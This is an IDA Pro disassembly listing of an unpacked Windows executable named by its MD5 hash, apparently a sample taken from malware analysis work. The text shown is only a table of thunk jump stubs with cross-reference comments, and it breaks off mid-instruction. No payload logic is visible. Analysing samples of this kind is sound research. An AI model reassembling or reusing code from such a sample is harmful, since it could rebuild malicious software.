; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 10E5F5C242F2560033D981E15340B8D2 ; File Name : u:\work\10e5f5c242f2560033d981e15340b8d2_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 00110000 (1114112.) ; Section size in file : 00110000 (1114112.) ; Offset to raw data for section: 00001000 ; Flags E0000040: Data Executable Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute ___ segment para public 'CODE' use32 assume cs:___ ;org 401000h assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing db 5 dup(0CCh) ; --------------------------------------------------------------------------- jmp loc_42F630 ; --------------------------------------------------------------------------- loc_40100A: ; DATA XREF: ___:off_43E09Co jmp loc_412CB0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40100F proc near ; CODE XREF: sub_421AF0+29p jmp sub_422050 sub_40100F endp ; --------------------------------------------------------------------------- jmp loc_431250 ; --------------------------------------------------------------------------- jmp loc_420DA0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40101E proc near ; CODE XREF: ___:004118E3p jmp sub_411910 sub_40101E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401023 proc near ; CODE XREF: ___:0040B1BDp ; ___:0040B1CAp ... jmp sub_403C00 sub_401023 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401028 proc near ; CODE XREF: sub_41FA90+34p jmp sub_40B000 sub_401028 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40102D proc near ; CODE XREF: sub_404C70+619p ; sub_404C70+6D8p ... jmp sub_40A030 sub_40102D endp ; --------------------------------------------------------------------------- jmp sub_42A100 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401037 proc near ; CODE XREF: sub_413510+3Bp ; ___:00414B30p jmp sub_4155E0 sub_401037 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40103C proc near ; CODE XREF: sub_42F840+6Ep ; sub_42F840+8Ap ... jmp sub_432FE0 sub_40103C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401041 proc near ; CODE XREF: ___:0042EF22p ; sub_42F840+3Fp ... jmp sub_432E60 sub_401041 endp ; --------------------------------------------------------------------------- jmp loc_423940 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40104B proc near jmp sub_40D130 sub_40104B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401050 proc near ; CODE XREF: sub_40B000+3Ap ; sub_40B070+1Ap jmp sub_432980 sub_401050 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401055 proc near ; CODE XREF: sub_41E660+37Bp jmp sub_421C30 sub_401055 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40105A proc near ; CODE XREF: sub_40C0C0+8p jmp sub_40C280 sub_40105A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40105F proc near ; CODE XREF: sub_431900+5Ap ; sub_433710+50p jmp sub_4318C0 sub_40105F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401064 proc near ; DATA XREF: ___:off_43E07Co jmp sub_41C610 sub_401064 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401069 proc near ; CODE XREF: ___:00416EAAp jmp sub_41FBD0 sub_401069 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40106E proc near ; CODE XREF: sub_40BF60+32p jmp sub_40C120 sub_40106E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401073 proc near ; CODE XREF: ___:00416EBAp jmp sub_418290 sub_401073 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401078 proc near ; CODE XREF: sub_415830+5Ep ; sub_416280+32p jmp sub_4161C0 sub_401078 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40107D proc near ; CODE XREF: sub_41E660+161p ; sub_4223E0+3p jmp sub_421A50 sub_40107D endp ; --------------------------------------------------------------------------- jmp loc_41ACE0 ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_7. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40108C proc near ; CODE XREF: sub_421C30+3p ; ___:00421FFFp ... jmp sub_422170 sub_40108C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401091 proc near ; CODE XREF: sub_40C400+43p jmp sub_40CAD0 sub_401091 endp ; --------------------------------------------------------------------------- jmp sub_427FF0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40109B proc near ; CODE XREF: sub_407570+Ap jmp sub_407610 sub_40109B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010A0 proc near ; CODE XREF: sub_4245F0+23p ; sub_424790+6p ... jmp sub_424500 sub_4010A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010A5 proc near ; CODE XREF: sub_430C00+F5p ; sub_430C00+14Fp jmp sub_432DF0 sub_4010A5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010AA proc near ; CODE XREF: sub_4331D0+C8p jmp sub_430990 sub_4010AA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010AF proc near ; DATA XREF: ___:0043E174o jmp sub_429DC0 sub_4010AF endp ; --------------------------------------------------------------------------- loc_4010B4: ; DATA XREF: ___:off_43E0A0o jmp loc_41E2C0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010B9 proc near ; CODE XREF: sub_418330+D0p ; sub_418490+2Dp jmp sub_418A20 sub_4010B9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010BE proc near ; CODE XREF: sub_40FF60+8D9p ; sub_40FF60+990p ... jmp sub_411860 sub_4010BE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010C3 proc near ; CODE XREF: ___:0042F336p ; ___:0042F3A4p ... jmp sub_430F00 sub_4010C3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010C8 proc near ; CODE XREF: sub_421D50+9p ; sub_422240+18p jmp sub_4223C0 sub_4010C8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010CD proc near ; CODE XREF: sub_40A9F0+58p ; sub_40A9F0+82p ... jmp sub_40ABE0 sub_4010CD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010D2 proc near ; CODE XREF: sub_422A40+3F1p ; ___:00423AA6p ... jmp sub_419AE0 sub_4010D2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4010D7 proc near ; CODE XREF: sub_416010+7p jmp sub_416640 sub_4010D7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010DC proc near ; CODE XREF: sub_415520+4Fp ; sub_415E70+11p ... jmp sub_4160C0 sub_4010DC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010E1 proc near ; CODE XREF: sub_429C30+58p jmp sub_429AA0 sub_4010E1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4010E6 proc near ; CODE XREF: sub_421870+1Fp jmp sub_421CB0 sub_4010E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010EB proc near ; CODE XREF: sub_421FB0+11p ; ___:00421FD7p ... jmp sub_4224D0 sub_4010EB endp ; --------------------------------------------------------------------------- jmp loc_413D60 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010F5 proc near ; CODE XREF: sub_421A30+3p ; ___:00421D9Fp ... jmp sub_421F10 sub_4010F5 endp ; --------------------------------------------------------------------------- jmp loc_414400 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010FF proc near ; CODE XREF: sub_426F20+3p jmp sub_426F50 sub_4010FF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401104 proc near ; CODE XREF: sub_415A00+11p ; ___:00415A27p ... jmp sub_416470 sub_401104 endp ; --------------------------------------------------------------------------- jmp loc_433310 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40110E proc near ; CODE XREF: sub_421B60+5p ; sub_421C50+6p ... jmp sub_422150 sub_40110E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401113 proc near ; CODE XREF: ___:00416A5Bp ; ___:00439F5Ej ... jmp sub_417A60 sub_401113 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401118 proc near ; CODE XREF: sub_404C70+6Ap ; sub_404C70+1AFp ... jmp sub_412970 sub_401118 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40111D proc near ; DATA XREF: ___:off_43E074o jmp sub_4192C0 sub_40111D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401122 proc near ; CODE XREF: sub_431A20+6p ; ___:00431A33p ... jmp sub_42F480 sub_401122 endp ; --------------------------------------------------------------------------- jmp loc_42E3D0 ; --------------------------------------------------------------------------- loc_40112C: ; DATA XREF: ___:off_43E15Co jmp loc_429A30 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401131 proc near ; CODE XREF: ___:00423C9Dp jmp sub_423760 sub_401131 endp ; --------------------------------------------------------------------------- jmp loc_431F50 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40113B proc near ; CODE XREF: ___:004150A8p jmp sub_415990 sub_40113B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401140 proc near ; CODE XREF: sub_41B950+F7p ; sub_41B950+10Bp ... jmp sub_409EA0 sub_401140 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401145 proc near ; CODE XREF: sub_409910+Ap jmp sub_409A00 sub_401145 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40114A proc near ; CODE XREF: sub_4133D0+55p ; sub_4133D0+94p ... jmp sub_415770 sub_40114A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40114F proc near ; CODE XREF: sub_425020+183p jmp sub_4235F0 sub_40114F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401154 proc near ; CODE XREF: ___:00414BBEp jmp sub_415520 sub_401154 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401159 proc near ; CODE XREF: sub_427600+3p jmp sub_427630 sub_401159 endp ; --------------------------------------------------------------------------- loc_40115E: ; DATA XREF: ___:off_43E038o jmp loc_4118E0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401163 proc near ; CODE XREF: sub_415DD0+11p ; ___:00415DF7p ... jmp sub_4165F0 sub_401163 endp ; --------------------------------------------------------------------------- jmp loc_41D730 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40116D proc near ; CODE XREF: sub_418B10+23p ; sub_418D80+11p jmp sub_418E60 sub_40116D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401172 proc near ; CODE XREF: sub_418A90+3p ; sub_418E90+54p ... jmp sub_418CE0 sub_401172 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401177 proc near ; CODE XREF: sub_409600+6Ap ; sub_409600+103p jmp sub_4098A0 sub_401177 endp ; --------------------------------------------------------------------------- jmp loc_432840 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401181 proc near ; CODE XREF: ___:00413D7Dp jmp sub_413B70 sub_401181 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401186 proc near ; CODE XREF: ___:0041A1E4p jmp sub_41AFE0 sub_401186 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40118B proc near ; CODE XREF: sub_4133D0+88p ; sub_4147D0+BFp ... jmp sub_415930 sub_40118B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401190 proc near ; CODE XREF: sub_42F480+7p ; sub_42F4F0+19p ... jmp sub_4338B0 sub_401190 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401195 proc near jmp sub_40DB10 sub_401195 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40119A proc near ; CODE XREF: ___:004310AAp jmp sub_430A50 sub_40119A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40119F proc near ; CODE XREF: sub_4071E0+11p ; sub_407370+1Fp jmp sub_407410 sub_40119F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011A4 proc near ; CODE XREF: sub_4036D0+3B5p ; sub_4036D0+3C5p ... jmp sub_403E00 sub_4011A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011A9 proc near ; CODE XREF: sub_421C10+3p jmp sub_422190 sub_4011A9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011AE proc near ; CODE XREF: sub_40C250+Ap jmp sub_40C310 sub_4011AE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011B3 proc near ; CODE XREF: sub_4036D0+1Dp ; sub_407030+1Fp ... jmp sub_403C70 sub_4011B3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4011B8 proc near ; CODE XREF: ___:00413274p ; ___:0043998Cj ... jmp sub_4153B0 sub_4011B8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011BD proc near ; CODE XREF: sub_42B350+3p jmp sub_42B380 sub_4011BD endp ; --------------------------------------------------------------------------- jmp loc_40AF00 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4011C7 proc near ; CODE XREF: ___:00414BCDp jmp sub_414C70 sub_4011C7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011CC proc near ; CODE XREF: sub_407610+7p ; sub_409A00+7p ... jmp sub_407640 sub_4011CC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011D1 proc near ; CODE XREF: sub_413510+73p ; ___:00414B6Dp ... jmp sub_415600 sub_4011D1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011D6 proc near ; CODE XREF: sub_41E660+58p jmp sub_420530 sub_4011D6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011DB proc near ; CODE XREF: sub_413DA0+84p jmp sub_4137E0 sub_4011DB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011E0 proc near ; CODE XREF: ___:00432428p jmp sub_42FD70 sub_4011E0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011E5 proc near ; CODE XREF: sub_4074C0+8p jmp sub_4075A0 sub_4011E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011EA proc near ; CODE XREF: sub_404C70+9Fp ; sub_404C70+230p ... jmp sub_40A430 sub_4011EA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4011EF proc near ; CODE XREF: sub_40A790+21p ; sub_40A9F0+A5p jmp sub_40A9D0 sub_4011EF endp ; --------------------------------------------------------------------------- jmp loc_40AF70 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011F9 proc near ; CODE XREF: sub_40A430+129p ; sub_40A810+4p ... jmp sub_40A7E0 sub_4011F9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011FE proc near ; DATA XREF: ___:off_43E0DCo jmp sub_426650 sub_4011FE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401203 proc near ; CODE XREF: ___:004322BDp jmp sub_42FA70 sub_401203 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401208 proc near ; CODE XREF: sub_4072F0+3p ; ___:004073BFp ... jmp sub_407480 sub_401208 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40120D proc near ; CODE XREF: sub_41D830+346p ; sub_41D830+410p ... jmp sub_421870 sub_40120D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401212 proc near ; CODE XREF: sub_421AB0+11p ; sub_421FB0+1Fp jmp sub_4220E0 sub_401212 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401217 proc near ; CODE XREF: sub_42B4F0+3p jmp sub_42B520 sub_401217 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40121C proc near jmp sub_407790 sub_40121C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401221 proc near ; CODE XREF: sub_40C120+5Fp jmp sub_40C2F0 sub_401221 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401226 proc near ; CODE XREF: sub_4034E0+F6p ; sub_4034E0+12Ep ... jmp sub_409C30 sub_401226 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40122B proc near ; CODE XREF: sub_41E660+113p ; sub_41E660+124p jmp sub_421A30 sub_40122B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401230 proc near ; DATA XREF: ___:0043E060o jmp sub_41F860 sub_401230 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401235 proc near ; CODE XREF: ___:00416AFBp ; ___:00439ED2j ... jmp sub_4176B0 sub_401235 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40123A proc near ; CODE XREF: sub_40AEC0+Fp jmp sub_42FF50 sub_40123A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40123F proc near ; CODE XREF: sub_418B10+32p jmp sub_418D80 sub_40123F endp ; --------------------------------------------------------------------------- jmp loc_433570 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401249 proc near ; CODE XREF: sub_415420+5p ; sub_415620+6p ... jmp sub_416030 sub_401249 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40124E proc near ; CODE XREF: sub_40BCB0+29p ; sub_40BDD0+29p jmp sub_40BF60 sub_40124E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401253 proc near ; CODE XREF: sub_41E660+3E9p ; ___:0043B1ABj jmp sub_421AF0 sub_401253 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401258 proc near ; CODE XREF: sub_4144D0+BFp jmp sub_415210 sub_401258 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40125D proc near ; CODE XREF: sub_4164E0+Ap jmp sub_416820 sub_40125D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401262 proc near ; CODE XREF: ___:00416B67p ; ___:00439E73j ... jmp sub_416FB0 sub_401262 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401267 proc near jmp sub_418330 sub_401267 endp ; --------------------------------------------------------------------------- jmp sub_416C30 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401271 proc near ; CODE XREF: ___:00416E1Fp jmp sub_417FD0 sub_401271 endp ; --------------------------------------------------------------------------- jmp loc_414690 ; --------------------------------------------------------------------------- jmp loc_42F030 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401280 proc near ; CODE XREF: sub_40FF60+387p ; sub_41EF30+21Dp ... jmp sub_41B6E0 sub_401280 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401285 proc near ; CODE XREF: ___:00416E5Ap jmp sub_418180 sub_401285 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40128A proc near ; CODE XREF: sub_409490+8p jmp sub_4094E0 sub_40128A endp ; --------------------------------------------------------------------------- jmp loc_429A30 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401294 proc near ; CODE XREF: sub_409600+A5p ; sub_412BC0+21p jmp sub_409810 sub_401294 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401299 proc near ; CODE XREF: sub_404C70+385p ; sub_41D830+5AAp jmp sub_41C030 sub_401299 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40129E proc near ; CODE XREF: ___:00416D6Fp jmp sub_4036D0 sub_40129E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012A3 proc near ; CODE XREF: sub_418BC0+23p ; sub_418E90+11p jmp sub_418FE0 sub_4012A3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012A8 proc near ; CODE XREF: sub_424840+Cp ; sub_424840+3Ep ... jmp sub_424330 sub_4012A8 endp ; --------------------------------------------------------------------------- jmp loc_42F670 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012B2 proc near ; CODE XREF: sub_404C70+860p ; sub_404C70+ADCp ... jmp sub_40A290 sub_4012B2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012B7 proc near ; CODE XREF: ___:0042EB16p ; ___:0042EB66p ... jmp sub_431490 sub_4012B7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012BC proc near ; CODE XREF: sub_41E660+367p ; sub_41E660+3D4p ... jmp sub_421C80 sub_4012BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012C1 proc near ; DATA XREF: sub_426A60+107o jmp sub_426CE0 sub_4012C1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012C6 proc near ; CODE XREF: sub_424720+18p ; sub_424760+Ap ... jmp sub_4246D0 sub_4012C6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012CB proc near ; CODE XREF: sub_416120+9p ; sub_4161C0+18p jmp sub_4167D0 sub_4012CB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012D0 proc near ; DATA XREF: sub_431280+32o jmp sub_431A80 sub_4012D0 endp ; --------------------------------------------------------------------------- jmp loc_42EB60 ; --------------------------------------------------------------------------- jmp loc_419BB0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012DF proc near ; CODE XREF: sub_429AA0+67p jmp sub_41FEF0 sub_4012DF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4012E4 proc near ; CODE XREF: ___:0042EEF8p ; sub_42F0B0+2p ... jmp sub_430270 sub_4012E4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012E9 proc near ; CODE XREF: sub_413670+3Fp ; sub_4144D0+40p ... jmp sub_415160 sub_4012E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012EE proc near ; CODE XREF: sub_404640+19Fp ; sub_404640+212p ... jmp sub_409EF0 sub_4012EE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012F3 proc near ; CODE XREF: sub_424E90+B5p ; sub_424E90+F1p jmp sub_424E20 sub_4012F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012F8 proc near ; CODE XREF: sub_425020+127p jmp sub_424E90 sub_4012F8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012FD proc near ; CODE XREF: ___:00416E3Ap jmp sub_418080 sub_4012FD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401302 proc near ; CODE XREF: ___:00416E0Fp jmp sub_417F10 sub_401302 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401307 proc near ; CODE XREF: sub_4303D0+1p jmp sub_430460 sub_401307 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40130C proc near ; CODE XREF: ___:00425F11p jmp sub_426450 sub_40130C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401311 proc near ; CODE XREF: sub_418330+71p ; sub_418330+BBp ... jmp sub_4189F0 sub_401311 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401316 proc near ; CODE XREF: sub_40A0A0+7p jmp sub_40A0C0 sub_401316 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40131B proc near ; CODE XREF: ___:004316D8p ; sub_431730+2Bp jmp sub_431900 sub_40131B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401320 proc near ; CODE XREF: sub_431280+1p jmp sub_4314C0 sub_401320 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401325 proc near ; CODE XREF: sub_4207E0+37Bp jmp sub_421BD0 sub_401325 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40132A proc near ; CODE XREF: sub_414360+5Bp jmp sub_415030 sub_40132A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40132F proc near ; CODE XREF: sub_4153B0+29p ; sub_4154D0+29p jmp sub_415F30 sub_40132F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401334 proc near ; CODE XREF: ___:00435F42p ; ___:00435F52p ... jmp sub_435E00 sub_401334 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401339 proc near ; CODE XREF: sub_4133D0+5Fp ; sub_4133D0+9Ep ... jmp sub_415960 sub_401339 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40133E proc near ; CODE XREF: sub_40B520+62p ; ___:0040B9E8p ... jmp sub_40BE60 sub_40133E endp ; --------------------------------------------------------------------------- jmp loc_4300C0 ; --------------------------------------------------------------------------- jmp loc_42EC40 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40134D proc near ; DATA XREF: ___:0043E1A8o jmp sub_42B3A0 sub_40134D endp ; --------------------------------------------------------------------------- jmp loc_42B2E0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401357 proc near ; CODE XREF: sub_416090+8p jmp sub_4166B0 sub_401357 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40135C proc near ; CODE XREF: sub_4133D0+71p ; sub_4133D0:loc_41349Cp ... jmp sub_415910 sub_40135C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401361 proc near ; CODE XREF: sub_418330+AFp ; sub_418FE0+3p jmp sub_418AB0 sub_401361 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401366 proc near ; DATA XREF: ___:0043E104o jmp sub_426A60 sub_401366 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40136B proc near ; CODE XREF: sub_40B520+39p ; sub_40B520+78p ... jmp sub_40BE90 sub_40136B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401370 proc near ; CODE XREF: sub_4257A0+29p ; sub_4257A0+38p jmp sub_4256B0 sub_401370 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401375 proc near ; CODE XREF: sub_41A500+1Cp jmp sub_41A540 sub_401375 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40137A proc near ; DATA XREF: ___:0043E164o jmp sub_429C30 sub_40137A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40137F proc near ; CODE XREF: ___:00408BE6p ; ___:00414481p jmp sub_414230 sub_40137F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401384 proc near ; CODE XREF: sub_418490+72p jmp sub_406C30 sub_401384 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401389 proc near ; CODE XREF: sub_409D20+7p ; sub_409E70+7p ... jmp sub_40A700 sub_401389 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40138E proc near ; DATA XREF: ___:off_43E080o jmp sub_422A40 sub_40138E endp ; --------------------------------------------------------------------------- jmp loc_413AE0 ; --------------------------------------------------------------------------- jmp sub_42B350 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40139D proc near ; CODE XREF: sub_418900+11p ; sub_421CB0+1Fp jmp sub_418C50 sub_40139D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B2D0 loc_4013A2: ; CODE XREF: sub_42B2D0+3j jmp sub_42A810 ; END OF FUNCTION CHUNK FOR sub_42B2D0 ; --------------------------------------------------------------------------- jmp sub_42B4F0 ; --------------------------------------------------------------------------- jmp loc_42EBB0 ; --------------------------------------------------------------------------- jmp loc_414A60 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4013B6 proc near ; CODE XREF: sub_407290+1Fp jmp sub_407370 sub_4013B6 endp ; --------------------------------------------------------------------------- jmp loc_42E7B0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4013C0 proc near ; CODE XREF: sub_40FD70+3p ; ___:00416AEBp ... jmp sub_40FDA0 sub_4013C0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4013C5 proc near ; CODE XREF: sub_425270+Cp ; sub_4253E0+Ap ... jmp sub_425230 sub_4013C5 endp ; --------------------------------------------------------------------------- jmp loc_40D2E0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4013CF proc near ; CODE XREF: sub_40A8C0+20p jmp sub_40A9F0 sub_4013CF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4013D4 proc near ; CODE XREF: sub_40FF60+AFDp ; sub_40FF60+E71p ... jmp 